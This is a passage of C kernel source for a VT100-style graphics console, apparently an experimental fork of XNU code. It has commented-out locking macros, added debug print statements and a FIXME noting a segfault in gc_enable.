(os_add_overflow(mach_absolute_time(), abstime, result)) {\n\t\t*result = UINT64_MAX;\n\t}\n}\n\n\n/*\n * Generic Console (Front-End)\n * ---------------------------\n */\n\nstruct vc_info vinfo;\n\nvoid noroot_icon_test(void);\n\n\n//extern\nint       disableConsoleOutput;\nstatic boolean_t gc_enabled     = FALSE;\nstatic boolean_t gc_initialized = FALSE;\nstatic boolean_t vm_initialized = FALSE;\n\nstatic struct {\n\tvoid (*initialize)(struct vc_info * info);\n\tvoid (*enable)(boolean_t enable);\n\tvoid (*paint_char)(unsigned int xx, unsigned int yy, unsigned char ch,\n\t    int attrs, unsigned char ch_previous,\n\t    int attrs_previous);\n\tvoid (*clear_screen)(unsigned int xx, unsigned int yy, unsigned int top,\n\t    unsigned int bottom, int which);\n\tvoid (*scroll_down)(int num, unsigned int top, unsigned int bottom);\n\tvoid (*scroll_up)(int num, unsigned int top, unsigned int bottom);\n\tvoid (*hide_cursor)(unsigned int xx, unsigned int yy);\n\tvoid (*show_cursor)(unsigned int xx, unsigned int yy);\n\tvoid (*update_color)(int color, boolean_t fore);\n} gc_ops;\n\nstatic unsigned char *gc_buffer_attributes;\nstatic unsigned char *gc_buffer_characters;\nstatic unsigned char *gc_buffer_colorcodes;\nstatic unsigned char *gc_buffer_tab_stops;\nstatic uint32_t gc_buffer_columns;\nstatic uint32_t gc_buffer_rows;\nstatic uint32_t gc_buffer_size;\n\n\n//LCK_GRP_DECLARE(vconsole_lck_grp, \"vconsole\");\n//static lck_ticket_t vcputc_lock;\n\n\n#define VCPUTC_LOCK_INIT()                              \\\nMACRO_BEGIN                                             \\\n\t/* lck_ticket_init(&vcputc_lock, &vconsole_lck_grp); */   \\\nMACRO_END\n\n#define VCPUTC_LOCK_LOCK()                              \\\nMACRO_BEGIN                                             \\\n\t/* lck_ticket_lock(&vcputc_lock, &vconsole_lck_grp); */   \\\nMACRO_END\n\n#define VCPUTC_LOCK_UNLOCK()                            \\\nMACRO_BEGIN                                             \\\n\t/* lck_ticket_unlock(&vcputc_lock); */                    \\\nMACRO_END\n\n\n/*\n # Attribute codes:\n # 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed\n # Text color codes:\n # 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white\n # Background color codes:\n # 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white\n */\n\n#define ATTR_NONE       0\n#define ATTR_BOLD       1\n#define ATTR_UNDER      2\n#define ATTR_REVERSE    4\n\n#define COLOR_BACKGROUND 0\n#define COLOR_FOREGROUND 7\n\n#define COLOR_CODE_GET(code, fore)        (((code) & ((fore) ? 0xF0 : 0x0F))            >> ((fore) ? 4 : 0))\n#define COLOR_CODE_SET(code, color, fore) (((code) & ((fore) ? 0x0F : 0xF0)) | ((color) << ((fore) ? 4 : 0)))\n\nstatic unsigned char gc_color_code;\n\n/* VT100 state: */\n#define MAXPARS 16\nstatic unsigned int gc_x, gc_y, gc_savex, gc_savey;\nstatic unsigned int gc_par[MAXPARS], gc_numpars, gc_hanging_cursor, gc_attr, gc_saveattr;\n\n/* VT100 scroll region */\nstatic unsigned int gc_scrreg_top, gc_scrreg_bottom;\n\nenum vt100state_e {\n\tESnormal,               /* Nothing yet                             */\n\tESesc,                  /* Got ESC                                 */\n\tESsquare,               /* Got ESC [\t\t\t\t   */\n\tESgetpars,              /* About to get or getting the parameters  */\n\tESgotpars,              /* Finished getting the parameters         */\n\tESfunckey,              /* Function key                            */\n\tEShash,                 /* DEC-specific stuff (screen align, etc.) */\n\tESsetG0,                /* Specify the G0 character set            */\n\tESsetG1,                /* Specify the G1 character set            */\n\tESask,\n\tEScharsize,\n\tESignore                /* Ignore this sequence                    */\n} gc_vt100state = ESnormal;\n\n\nenum{\n\t/* secs */\n\tkProgressAcquireDelay   = 0,\n#if !defined(XNU_TARGET_OS_OSX)\n\tkProgressReacquireDelay = 5,\n#else\n\tkProgressReacquireDelay = 5,\n#endif\n};\n\nstatic int8_t vc_rotate_matr[4][2][2] = {\n\t{ {  1, 0 },\n\t  {  0, 1 } },\n\t{ {  0, 1 },\n\t  { -1, 0 } },\n\t{ { -1, 0 },\n\t  {  0, -1 } },\n\t{ {  0, -1 },\n\t  {  1, 0 } }\n};\n\nstatic int gc_wrap_mode = 1, gc_relative_origin = 0;\nstatic int gc_charset_select = 0, gc_save_charset_s = 0;\nstatic int gc_charset[2] = { 0, 0 };\nstatic int gc_charset_save[2] = { 0, 0 };\n\nstatic void gc_clear_line(unsigned int xx, unsigned int yy, int which);\nstatic void gc_clear_screen(unsigned int xx, unsigned int yy, int top,\n    unsigned int bottom, int which);\nstatic void gc_enable(boolean_t enable);\nstatic void gc_hide_cursor(unsigned int xx, unsigned int yy);\nstatic void gc_initialize(struct vc_info * info);\nstatic boolean_t gc_is_tab_stop(unsigned int column);\nstatic void gc_paint_char(unsigned int xx, unsigned int yy, unsigned char ch,\n    int attrs);\nstatic void gc_putchar(char ch);\nstatic void gc_putc_askcmd(unsigned char ch);\nstatic void gc_putc_charsetcmd(int charset, unsigned char ch);\nstatic void gc_putc_charsizecmd(unsigned char ch);\nstatic void gc_putc_esc(unsigned char ch);\nstatic void gc_putc_getpars(unsigned char ch);\nstatic void gc_putc_gotpars(unsigned char ch);\nstatic void gc_putc_normal(unsigned char ch);\nstatic void gc_putc_square(unsigned char ch);\nstatic void gc_reset_screen(void);\nstatic void gc_reset_tabs(void);\nstatic void gc_reset_vt100(void);\nstatic void gc_scroll_down(int num, unsigned int top, unsigned int bottom);\nstatic void gc_scroll_up(int num, unsigned int top, unsigned int bottom);\nstatic void gc_set_tab_stop(unsigned int column, boolean_t enabled);\nstatic void gc_show_cursor(unsigned int xx, unsigned int yy);\nstatic void gc_update_color(int color, boolean_t fore);\n\nstatic void\ngc_clear_line(unsigned int xx, unsigned int yy, int which)\n{\n\tunsigned int start, end, i;\n\n\t/*\n\t * This routine runs extremely slowly.  I don't think it's\n\t * used all that often, except for To end of line.  I'll go\n\t * back and speed this up when I speed up the whole vc\n\t * module. --LK\n\t */\n\n\tswitch (which) {\n\tcase 0:         /* To end of line\t */\n\t\tstart = xx;\n\t\tend = vinfo.v_columns - 1;\n\t\tbreak;\n\tcase 1:         /* To start of line\t */\n\t\tstart = 0;\n\t\tend = xx;\n\t\tbreak;\n\tcase 2:         /* Whole line\t\t */\n\t\tstart = 0;\n\t\tend = vinfo.v_columns - 1;\n\t\tbreak;\n\tdefault:\n\t\treturn;\n\t}\n\n\tfor (i = start; i <= end; i++) {\n\t\tgc_paint_char(i, yy, ' ', ATTR_NONE);\n\t}\n}\n\nstatic void\ngc_clear_screen(unsigned int xx, unsigned int yy, int top, unsigned int bottom,\n    int which)\n{\n\tif (!gc_buffer_size) {\n\t\treturn;\n\t}\n\n\tif (xx < gc_buffer_columns && yy < gc_buffer_rows && bottom <= gc_buffer_rows) {\n\t\tuint32_t start, end;\n\n\t\tswitch (which) {\n\t\tcase 0:                 /* To end of screen\t */\n\t\t\tstart = (yy * gc_buffer_columns) + xx;\n\t\t\tend = (bottom * gc_buffer_columns) - 1;\n\t\t\tbreak;\n\t\tcase 1:                 /* To start of screen\t */\n\t\t\tstart = (top * gc_buffer_columns);\n\t\t\tend = (yy * gc_buffer_columns) + xx;\n\t\t\tbreak;\n\t\tcase 2:                 /* Whole screen\t\t */\n\t\t\tstart = (top * gc_buffer_columns);\n\t\t\tend = (bottom * gc_buffer_columns) - 1;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tstart = 0;\n\t\t\tend = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\tmemset(gc_buffer_attributes + start, ATTR_NONE, end - start + 1);\n\t\tmemset(gc_buffer_characters + start, ' ', end - start + 1);\n\t\tmemset(gc_buffer_colorcodes + start, gc_color_code, end - start + 1);\n\t}\n\n\tgc_ops.clear_screen(xx, yy, top, bottom, which);\n}\n\nstatic void\n// FIXME: This always segfaults\ngc_enable( boolean_t enable )\n{\n\tunsigned char *buffer_attributes = NULL;\n\tunsigned char *buffer_characters = NULL;\n\tunsigned char *buffer_colorcodes = NULL;\n\tunsigned char *buffer_tab_stops  = NULL;\n\tuint32_t buffer_columns = 0;\n\tuint32_t buffer_rows = 0;\n\tuint32_t buffer_size = 0;\n\tspl_t s;\n\tif (enable == FALSE) {\n\t\tprintf(\"[*] gc_enable(FALSE)\\n\");\n\t\t// only disable console output if it goes to the graphics console\n\t\tif (console_is_serial() == FALSE) {\n\t\t\tdisableConsoleOutput = TRUE;\n\t\t}\n\t\tgc_enabled           = FALSE;\n\t\tgc_ops.enable(FALSE);\n\t}\n\n\ts = splhigh();\n\tprintf(\"[*] VCPUTC_LOCK_LOCK\\n\");\n\tVCPUTC_LOCK_LOCK();\n\n\tif (gc_buffer_size) {\n\t\tbuffer_attributes = gc_buffer_attributes;\n\t\tbuffer_characters = gc_buffer_characters;\n\t\tbuffer_colorcodes = gc_buffer_colorcodes;\n\t\tbuffer_tab_stops  = gc_buffer_tab_stops;\n\t\tbuffer_columns    = gc_buffer_columns;\n\t\tbuffer_rows       = gc_buffer_rows;\n\t\tbuffer_size       = gc_buffer_size;\n\n\t\tgc_buffer_attributes = NULL;\n\t\tgc_buffer_characters = NULL;\n\t\tgc_buffer_colorcodes = NULL;\n\t\tgc_buffer_tab_stops  = NULL;\n\t\tgc_buffer_columns    = 0;\n\t\tgc_buffer_rows       = 0;\n\t\tgc_buffer_size       = 0;\n\n\t\tprintf(\"[*] VCPUTC_LOCK_UNLOCK\\n\");\n\t\tVCPUTC_LOCK_UNLOCK();\n\t\tsplx( s );\n\n\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_attributes, buffer_size );\n\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_characters, buffer_size );\n\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_colorcodes, buffer_size );\n\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_tab_stops, buffer_columns );\n\t} else {\n\t\tprintf(\"[*] VCPUTC_LOCK_UNLOCK\\n\");\n\t\tVCPUTC_LOCK_UNLOCK();\n\t\tsplx( s );\n\t}\n\n\tif (enable) {\n\t\tprintf(\"[*] gc_enable(TRUE)\\n\");\n\t\tif (vm_initialized) {\n\t\t\tprintf(\"[*] buffer setup\\n\");\n\t\t\tbuffer_columns = vinfo.v_columns;\n\t\t\tbuffer_rows    = vinfo.v_rows;\n\t\t\tbuffer_size    = buffer_columns * buffer_rows;\n\n\t\t\tif (buffer_size) {\n\t\t\t\tprintf(\"[*] moar buffer setup\\n\");\n\t\t\t\tbuffer_attributes = kheap_alloc( KHEAP_DATA_BUFFERS, buffer_size, Z_WAITOK );\n\t\t\t\tbuffer_characters = kheap_alloc( KHEAP_DATA_BUFFERS, buffer_size, Z_WAITOK );\n\t\t\t\tbuffer_colorcodes = kheap_alloc( KHEAP_DATA_BUFFERS, buffer_size, Z_WAITOK );\n\t\t\t\tbuffer_tab_stops  = kheap_alloc( KHEAP_DATA_BUFFERS, buffer_columns, Z_WAITOK );\n\n\t\t\t\tif (buffer_attributes == NULL ||\n\t\t\t\t    buffer_characters == NULL ||\n\t\t\t\t    buffer_colorcodes == NULL ||\n\t\t\t\t    buffer_tab_stops == NULL) {\n\t\t\t\t\tprintf(\"[*] even moar buffer setup\\n\");\n\t\t\t\t\tif (buffer_attributes) {\n\t\t\t\t\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_attributes, buffer_size );\n\t\t\t\t\t}\n\t\t\t\t\tif (buffer_characters) {\n\t\t\t\t\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_characters, buffer_size );\n\t\t\t\t\t}\n\t\t\t\t\tif (buffer_colorcodes) {\n\t\t\t\t\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_colorcodes, buffer_size );\n\t\t\t\t\t}\n\t\t\t\t\tif (buffer_tab_stops) {\n\t\t\t\t\t\tkheap_free( KHEAP_DATA_BUFFERS, buffer_tab_stops, buffer_columns );\n\t\t\t\t\t}\n\n\t\t\t\t\tbuffer_attributes = NULL;\n\t\t\t\t\tbuffer_characters = NULL;\n\t\t\t\t\tbuffer_colorcodes = NULL;\n\t\t\t\t\tbuffer_tab_stops  = NULL;\n\t\t\t\t\tbuffer_columns = 0;\n\t\t\t\t\tbuffer_rows    = 0;\n\t\t\t\t\tbuffer_size    = 0;\n\t\t\t\t} else {\n\t\t\t\t\tmemset( buffer_attributes, ATTR_NONE, buffer_size );\n\t\t\t\t\tmemset( buffer_characters, ' ', buffer_size );\n\t\t\t\t\tmemset( buffer_colorcodes, COLOR_CODE_SET( 0, COLOR_FOREGROUND, TRUE ), buffer_size );\n\t\t\t\t\tmemset( buffer_tab_stops, 0, buffer_columns );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ts = splhigh();\n\t\tprintf(\"[*] VCPUTC_LOCK_LOCK\\n\");\n\t\tVCPUTC_LOCK_LOCK();\n\n\t\tgc_buffer_attributes = buffer_attributes;\n\t\tgc_buffer_characters = buffer_characters;\n\t\tgc_buffer_colorcodes = buffer_colorcodes;\n\t\tgc_buffer_tab_stops  = buffer_tab_stops;\n\t\tgc_buffer_columns    = buffer_columns;\n\t\tgc_buffer_rows       = buffer_rows;\n\t\tgc_buffer_size       = buffer_size;\n\n\t\tprintf(\"[*] resetting screen\\n\");\n\t\tgc_reset_screen();\n\n\t\tprintf(\"[*] VCPUTC_LOCK_UNLOCK\\n\");\n\t\tVCPUTC_LOCK_UNLOCK();\n\t\tsplx( s );\n\n\t\tprintf(\"[*] clearing screen\\n\");\n\t\tgc_ops.clear_screen(gc_x, gc_y, 0, vinfo.v_rows, 2);\n\t\tprintf(\"[*] showing cursor at %d,%d\\n\", gc_x, gc_y);\n\t\tgc_ops.show_cursor(gc_x, gc_y);\n\n\t\tprintf(\"[*] gc enable\\n\");\n\t\tgc_ops.enable(TRUE);\n\t\tgc_enabled           = TRUE;\n\t\tdisableConsoleOutput = FALSE;\n\t\tprintf(\"[*] gc_enable over and out.\\n\");\n\t}\n}\n\nstatic void\ngc_hide_cursor(unsigned int xx, unsigned int yy)\n{\n\tif (xx < gc_buffer_columns && yy < gc_buffer_rows) {\n\t\tuint32_t index = (yy * gc_buffer_columns) + xx;\n\t\tunsigned char attribute = gc_buffer_attributes[index];\n\t\tunsigned char character = gc_buffer_characters[index];\n\t\tunsigned char colorcode = gc_buffer_colorcodes[index];\n\t\tunsigned char colorcodesave = gc_color_code;\n\n\t\tgc_update_color(COLOR_CODE_GET(colorcode, TRUE ), TRUE );\n\t\tgc_update_color(COLOR_CODE_GET(colorcode, FALSE), FALSE);\n\n\t\tgc_ops.paint_char(xx, yy, character, attribute, 0, 0);\n\n\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, TRUE ), TRUE );\n\t\tgc_update_color(COLOR_CODE_GET(colorcodesave, FALSE), FALSE);\n\t} else {\n\t\tgc_ops.hide_cursor(xx, yy);\n\t}\n}\n\nstatic void\ngc_initialize(struct vc_info * info)\n{\n\tif (gc_initialized == FALSE) {\n\t\t/* Init our lock */\n\t\tVCPUTC_LOCK_INIT();\n\n\t\tgc_initialized = TRUE;\n\t}\n\n\tgc_ops.initialize(info);\n\n\tgc_reset_vt100();\n\tgc_x = gc_y = 0;\n}\n\nstatic void\ngc_paint_char(unsigned int xx, unsigned int yy, unsigned char ch, int attrs)\n{\n\tif (xx < gc_buffer_columns && yy < gc_buffer_rows) {\n\t\tuint32_t index = (yy * gc_buffer_columns) + xx;\n\n\t\tgc_buffer_attributes[index] = attrs;\n\t\tgc_buffer_characters[index] = ch;\n\t\tgc_buffer_colorcodes[index] = gc_color_code;\n\t}\n\n\tgc_ops.paint_char(xx, yy, ch, attrs, 0, 0);\n}\n\nstatic void\ngc_putchar(char ch)\n{\n\tif (!ch) {\n\t\treturn; /* ignore null characters */\n\t}\n\tswitch (gc_vt100state) {\n\tdefault:\n\t\tgc_vt100state = ESnormal;\n\t\tOS_FALLTHROUGH;\n\tcase ESnormal:\n\t\tgc_putc_normal(ch);\n\t\tbreak;\n\tcase ESesc:\n\t\tgc_putc_esc(ch);\n\t\tbreak;\n\tcase ESsquare:\n\t\tgc_putc_square(ch);\n\t\tbreak;\n\tcase ESgetpars:\n\t\tgc_putc_getpars(ch);\n\t\tbreak;\n\tcase ESgotpars:\n\t\tgc_putc_gotpars(ch);\n\t\tbreak;\n\tcase ESask:\n\t\tgc_putc_askcmd(ch);\n\t\tbreak;\n\tcase EScharsize:\n\t\tgc_putc_charsizecmd(ch);\n\t\tbreak;\n\tcase ESsetG0:\n\t\tgc_putc_charsetcmd(0, ch);\n\t\tbreak;\n\tcase ESsetG1:\n\t\tgc_putc_charsetcmd(1, ch);\n\t\tbreak;\n\t}\n\n\tif (gc_x >= vinfo.v_columns) {\n\t\tif (0 == vinfo.v_columns) {\n\t\t\tgc_x = 0;\n\t\t} else {\n\t\t\tgc_x = vinfo.v_columns - 1;\n\t\t}\n\t}\n\tif (gc_y >= vinfo.v_rows) {\n\t\tif (0 == vinfo.v_rows) {\n\t\t\tgc_y = 0;\n\t\t} else {\n\t\t\tgc_y = vinfo.v_rows - 1;\n\t\t}\n\t}\n}\n\nstatic void\ngc_putc_askcmd(unsigned char ch)\n{\n\tif (ch >= '0' && ch <= '9') {\n\t\tgc_par[gc_numpars] = (10 * gc_par[gc_numpars]) + (ch - '0');\n\t\treturn;\n\t}\n\tgc_vt100state = ESnormal;\n\n\tswitch (gc_par[0]) {\n\tcase 6:\n\t\tgc_relative_origin = ch == 'h';\n\t\tbreak;\n\tcase 7:         /* wrap around mode h=1, l=0*/\n\t\tgc_wrap_mode = ch == 'h';\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nstatic void\ngc_putc_charsetcmd(int charset, unsigned char ch)\n{\n\tgc_vt100state = ESnormal;\n\n\tswitch (ch) {\n\tcase 'A':\n\tcase 'B':\n\tdefault:\n\t\tgc_charset[charset] = 0;\n\t\tbreak;\n\tcase '0':               /* Graphic characters */\n\tcase '2':\n\t\tgc_charset[charset] = 0x21;\n\t\tbreak;\n\t}\n}\n\nstatic void\ngc_putc_charsizecmd(unsigned char ch)\n{\n\tgc_vt100state = ESnormal;\n\n\tswitch (ch) {\n\tcase '3':\n\tcase '4':\n\tcase '5':\n\tcase '6':\n\t\tbreak;\n\tcase '8':               /* fill 'E's */\n\t{\n\t\tunsigned int xx, yy;\n\t\tfor (yy = 0; yy < vinfo.v_rows; yy++) {\n\t\t\tfor (xx = 0; xx < vinfo.v_columns; xx++) {\n\t\t\t\tgc_paint_char(xx, yy, 'E', ATTR_NONE);\n\t\t\t}\n\t\t}\n\t}\n\tbreak;\n\t}\n}\n\nstatic void\ngc_putc_esc(unsigned char ch)\n{\n\tgc_vt100state = ESnormal;\n\n\tswitch (ch) {\n\tcase '[':\n\t\tgc_vt100state = ESsquare;\n\t\tbreak;\n\tcase 'c':               /* Reset terminal        */\n\t\tgc_reset_vt100();\n\t\tgc_clear_screen(gc_x, gc_y, 0, vinfo.v_rows, 2);\n\t\tgc_x = gc_y = 0;\n\t\tbreak;\n\tcase 'D':               /* Line feed\t\t */\n\tcase 'E':\n\t\tif (gc_y >= gc_scrreg_bottom - 1) {\n\t\t\tgc_scroll_up(1, gc_scrreg_top, gc_scrreg_bottom);\n\t\t\tgc_y = gc_scrreg_bottom - 1;\n\t\t} else {\n\t\t\tgc_y++;\n\t\t}\n\t\tif (ch == 'E') {\n\t\t\tgc_x = 0;\n\t\t}\n\t\tbreak;\n\tcase 'H':               /* Set tab stop\t\t */\n\t\tgc_set_tab_stop(gc_x, TRUE);\n\t\tbreak;\n\tcase 'M':               /* Cursor up\t\t */\n\t\tif (gc_y <= gc_scrreg_top) {\n\t\t\tgc_scroll_down(1, gc_scrreg_top, gc_scrreg_bottom);\n\t\t\tgc_y = gc_scrreg_top;\n\t\t} else {\n\t\t\tgc_y--;\n\t\t}\n\t\tbreak;\n\tcase '>':\n\t\tgc_reset_vt100();\n\t\tbreak;\n\tcase '7':               /* Save cursor\t\t */\n\t\tgc_savex = gc_x;\n\t\tgc_savey = gc_y;\n\t\tgc_saveattr = gc_attr;\n\t\tgc_save_charset_s = gc_charset_select;\n\t\tgc_charset_save[0] = gc_charset[0];\n\t\tgc_charset_save[1] = gc_charset[1];\n\t\tbreak;\n\tcase '8':               /* Restore cursor\t */\n\t\tgc_x = gc_savex;\n\t\tgc_y = gc_savey;\n\t\tgc_attr = gc_saveattr;\n\t\tgc_charset_select = gc_save_charset_s;\n\t\tgc_charset[0] = gc_charset_save[0];\n\t\tgc_charset[1] = gc_charset_save[1];\n\t\tbreak;\n\tcase 'Z':               /* return terminal ID */\n\t\tbreak;\n\tcase '#':               /* change characters height */\n\t\tgc_vt100state = EScharsize;\n\t\tbreak;\n\tcase '(':\n\t\tgc_vt100state = ESsetG0;\n\t\tbreak;\n\tcase ')':               /* character set sequence */\n\t\tgc_vt100state = ESsetG1;\n\t\tbreak;\n\tcase '=':\n\t\tbreak;\n\tdefault:\n\t\t/* Rest not supported */\n\t\tbreak;\n\t}\n}\n\nstatic void\ngc_putc_getpars(unsigned char ch)\n{\n\tif (ch == '?') {\n\t\tgc_vt100state = ESask;\n\t\treturn;\n\t}\n\tif (ch == '[') {\n\t\tgc_vt100state = ESnormal;\n\t\t/* Not supported */\n\t\treturn;\n\t}\n\tif (ch == ';' && gc_numpars < MAXPARS - 1) {\n\t\tgc_numpars++;\n\t} else if (ch >= '0' && ch <= '9') {\n\t\tgc_par[gc_numpars] *= 10;\n\t\tgc_par[gc_numpars] += ch - '0';\n\t} else {\n\t\tgc_numpars++;\n\t\tgc_vt100state = ESgotpars;\n\t\tgc_putc_gotpars(ch);\n\t}\n}\n\nstatic void\ngc_putc_gotpars(unsigned char ch)\n{\n\tunsigned int i;\n\n\tif (ch < ' ') {\n\t\t/* special case for vttest for handling cursor\n\t\t *  movement in escape sequences */\n\t\tgc_putc_normal(ch);\n\t\tgc_vt100state = ESgotpars;\n\t\treturn;\n\t}\n\tgc_vt100state = ESnormal;\n\tswitch (ch) {\n\tcase 'A':               /* Up\t\t\t */\n\t\tgc_y -= gc_par[0] ? gc_par[0] : 1;\n\t\tif (gc_y < gc_scrreg_top) {\n\t\t\tgc_y = gc_scrreg_top;\n\t\t}\n\t\tbreak;\n\tcase 'B':               /* Down\t\t\t */\n\t\tgc_y += gc_par[0] ? gc_par[0] : 1;\n\t\tif (gc_y >= gc_scrreg_bottom) {\n\t\t\tgc_y = gc_scrreg_bottom - 1;\n\t\t}\n\t\tbreak;\n\tcase 'C':               /* Right\t\t */\n\t\tgc_x += gc_par[0] ? gc_par[0] : 1;\n\t\tif (gc_x >= vinfo.v_columns) {\n\t\t\tgc_x = vinfo.v_columns - 1;\n\t\t}\n\t\tbreak;\n\tcase 'D':               /* Left\t\t\t */\n\t\tif (gc_par[0] > gc_x) {\n\t\t\tgc_x = 0;\n\t\t} else if (gc_par[0]) {\n\t\t\tgc_x -= gc_par[0];\n\t\t} else if (gc_x) {\n\t\t\t--gc_x;\n\t\t}\n\t\tbreak;\n\tcase 'H':               /* Set cursor position\t */\n\tcase 'f':\n\t\tgc_x = gc_par[1] ? gc_par[1] - 1 : 0;\n\t\tgc_y = gc_par[0] ? gc_par[0] - 1 : 0;\n\t\tif (gc_relative_origin) {\n\t\t\tgc_y += gc_scrreg_top;\n\t\t}\n\t\tgc_hanging_cursor = 0;\n\t\tbreak;\n\tcase 'X':               /* clear p1 characters */\n\t\tif (gc_numpars) {\n\t\t\tfor (i = gc_x; i < gc_x + gc_par[0]; i++) {\n\t\t\t\tgc_paint_char(i, gc_y, ' ', ATTR_NONE);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\tcase 'J':               /* Clear part of screen\t */\n\t\tgc_clear_screen(gc_x, gc_y, 0, vinfo.v_rows, gc_par[0]);\n\t\tbreak;\n\tcase 'K':               /* Clear part of line\t */\n\t\tgc_clear_line(gc_x, gc_y, gc_par[0]);\n\t\tbreak;\n\tcase 'g':               /* tab stops\t         */\n\t\tswitch (gc_par[0]) {\n\t\tcase 1:\n\t\tcase 2:         /* reset tab stops */\n\t\t\t        /* gc_reset_tabs(); */\n\t\t\tbreak;\n\t\tcase 3:         /* Clear every tabs */\n\t\t{\n\t\t\tfor (i = 0; i <= vinfo.v_columns; i++) {\n\t\t\t\tgc_set_tab_stop(i, FALSE);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase 0:\n\t\t\tgc_set_tab_stop(gc_x, FALSE);\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tcase 'm':               /* Set attribute\t */\n\t\tfor (i = 0; i < gc_numpars; i++) {\n\t\t\tswitch (gc_par[i]) {\n\t\t\tcase 0:\n\t\t\t\tgc_attr = ATTR_NONE;\n\t\t\t\tgc_update_color(COLOR_BACKGROUND, FALSE);\n\t\t\t\tgc_update_color(COLOR_FOREGROUND, TRUE );\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\tgc_attr |= ATTR_BOLD;\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tgc_attr |= ATTR_UNDER;\n\t\t\t\tbreak;\n\t\t\tcase 7:\n\t\t\t\tgc_attr |= ATTR_REVERSE;\n\t\t\t\tbreak;\n\t\t\tcase 22:\n\t\t\t\tgc_attr &= ~ATTR_BOLD;\n\t\t\t\tbreak;\n\t\t\tcase 24:\n\t\t\t\tgc_attr &= ~ATTR_UNDER;\n\t\t\t\tbreak;\n\t\t\tcase 27:\n\t\t\t\tgc_attr &= ~ATTR_REVERSE;\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\tcase 25:        /* blink/no blink */\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif (gc_par[i] >= 30 && gc_par[i] <= 37) {\n\t\t\t\t\tgc_update_color(gc_par[i] - 30, TRUE);\n\t\t\t\t}\n\t\t\t\tif (gc_par[i] >= 40 && gc_par[i] <= 47) {\n\t\t\t\t\tgc_update_color(gc_par[i] - 40, FALSE);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\tcase 'r':               /* Set scroll region\t */\n\t\tgc_x = gc_y = 0;\n\t\t/* ensure top < bottom, and both within limits */\n\t\tif ((gc_numpars > 0) && (gc_par[0] < vinfo.v_rows)) {\n\t\t\tgc_scrreg_top = gc_par[0] ? gc_par[0] - 1 : 0;\n\t\t} else {\n\t\t\tgc_scrreg_top = 0;\n\t\t}\n\t\tif ((gc_numpars > 1) && (gc_par[1] <= vinfo.v_rows) && (gc_par[1] > gc_par[0])) {\n\t\t\tgc_scrreg_bottom = gc_par[1];\n\t\t\tif (gc_scrreg_bottom > vinfo.v_rows) {\n\t\t\t\tgc_scrreg_bottom = vinfo.v_rows;\n\t\t\t}\n\t\t} else {\n\t\t\tgc_scrreg_bottom = vinfo.v_rows;\n\t\t}\n\t\tif (gc_relative_origin) {\n\t\t\tgc_y = gc_scrreg_top;\n\t\t}\n\t\tbreak;\n\t}\n}\n\nstatic void\ngc_putc_normal(unsigned char ch)\n{\n\tswitch (ch) {\n\tcase '\\a':              /* Beep\t\t\t */\n\t\tbreak;\n\tcase 127:               /* Delete\t\t */\n\tcase '\\b':              /* Backspace\t\t */\n\t\tif (gc_hanging_cursor) {\n\t\t\tgc_hanging_cursor = 0;\n\t\t} else if (gc_x > 0) {\n\t\t\tgc_x--;\n\t\t}\n\t\tbreak;\n\tcase '\\t':              /* Tab\t\t\t */\n\t\tif (gc_buffer_tab_stops) {\n\t\t\twhile (gc_x < vinfo.v_columns && !gc_is_tab_stop(++gc_x)) {\n\t\t\t\t;\n\t\t\t}\n\t\t}\n\n\t\tif (gc_x >= vinfo.v_columns) {\n\t\t\tgc_x = vinfo.v_columns - 1;\n\t\t}\n\t\tbreak;\n\tcase 0x0b:\n\tcase 0x0c:\n\tcase '\\n':              /* Line feed\t\t */\n\t\tif (gc_y >= gc_scrreg_bottom - 1) {\n\t\t\tgc_scroll_up(1, gc_scrreg_top, gc_scrreg_bottom);\n\t\t\tgc_y = gc_scrreg_bottom - 1;\n\t\t} else {\n\t\t\tgc_y++;\n\t\t}\n\t\tbreak;\n\tcase '\\r':              /* Carriage return\t */\n\t\tgc_x = 0;\n\t\tgc_hanging_cursor = 0;\n\t\tbreak;\n\tcase 0x0e:  /* Select G1 charset (Control-N) */\n\t\tgc_charset_select = 1;\n\t\tbreak;\n\tcase 0x0f:  /* Select G0 charset (Control-O) */\n\t\tgc_charset_select = 0;\n\t\tbreak;\n\tcase 0x18:  /* CAN : cancel */\n\tcase 0x1A:  /* like cancel */\n\t\t/* well, i do nothing here, may be later */\n\t\tbreak;\n\tcase '\\033':            /* Escape\t\t */\n\t\tgc_vt100state = ESesc;\n\t\tgc_hanging_cursor = 0;\n\t\tbreak;\n\tdefault:\n\t\tif (ch >= ' ') {\n\t\t\tif (gc_hanging_cursor) {\n\t\t\t\tgc_x = 0;\n\t\t\t\tif (gc_y >= gc_scrreg_bottom - 1) {\n\t\t\t\t\tgc_scroll_up(1, gc_scrreg_top, gc_scrreg_bottom);\n\t\t\t\t\tgc_y = gc_scrreg_bottom - 1;\n\t\t\t\t} else {\n\t\t\t\t\tgc_y++;\n\t\t\t\t}\n\t\t\t\tgc_hanging_cursor = 0;\n\t\t\t}\n\t\t\tgc_paint_char(gc_x, gc_y, (ch >= 0x60 && ch <= 0x7f) ? ch + gc_charset[gc_charset_select]\n\t\t\t    : ch, gc_attr);\n\t\t\tif (gc_x == vinfo.v_columns - 1) {\n\t\t\t\tgc_hanging_cursor = gc_wrap_mode;\n\t\t\t} else 